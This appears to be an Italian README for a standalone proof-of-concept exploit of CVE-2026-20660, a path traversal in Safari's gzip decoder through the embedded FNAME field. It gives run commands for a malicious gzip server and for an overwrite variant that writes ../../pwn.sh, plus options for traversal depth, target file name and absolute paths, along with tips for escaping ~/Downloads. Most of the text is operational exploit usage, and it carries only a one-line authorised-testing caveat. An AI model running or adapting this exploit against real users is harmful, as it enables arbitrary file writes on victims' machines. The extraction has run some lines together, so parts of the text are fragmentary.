
Exploit PoC autonomo per CVE-2026-20660: path traversal nel decoder gzip di Safari. Il server fornisce un gzip dannoso per scrivere file arbitrari su macOS vulnerabile.
Questa cartella contiene un proof-of-concept autonomo per:
NSGZipDecoder di CFNetwork tramite FNAME del gzipserver.py: server PoC principale con profondità di traversal e nome del target configurabiliserver_overwrite.py: variante mirata che scrive ../../pwn.shREADME.md: note di riproduzione e log delle operazioniIl diff della patch mostra che -[NSGZipDecoder filenameWithOriginalFilename:] ha cambiato comportamento:
lastPathComponent prima di restituire.Questo blocca i componenti di directory come ../ e i percorsi assoluti nel FNAME.
Il nome del file HTTP può essere pulito e l'attacco riesce comunque.
Content-Disposition HTTP: pulito (esempio: report.gz)../../proof.txt)La sanificazione lato Safari si applica principalmente ai nomi a livello HTTP, non al FNAME gzip incorporato consumato da NSGZipDecoder nel flusso vulnerabile.
Dalla radice del repository:
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
Aprire in Safari vulnerabile:
http://<server-ip>:8888/
Fare clic su Trigger depth=2.
Dopo l'attivazione, verificare il risultato della scrittura sulla macchina target:
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
Per la variante di sovrascrittura:
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
Quindi aprire:
http://<server-ip>:9999/
Controllare:
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind, -b: indirizzo di bind (predefinito 0.0.0.0)--port, -p: porta in ascolto (predefinita 8888)--depth, -d: profondità di traversal (numero di ripetizioni di ../, predefinito 2)--name, -n: nome del file di output targetEsempi:
# scrive in ~/proof.txt quando la profondità corrisponde all'annidamento della directory di runtime
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# test esplicito con percorso assoluto (se il resolver lo consente)
python3 exploit/cve-2026-20660/server.py -p 8888
# quindi usare: /download?depth=0&fname=/tmp/proof.txt
~/Downloads, quindi la profondità spesso deve essere >= 2 per uscire in ~/.2, 3, 4) e riprovare.Utilizzare solo in ambienti di test autorizzati.
Per una spiegazione più dettagliata, vedere: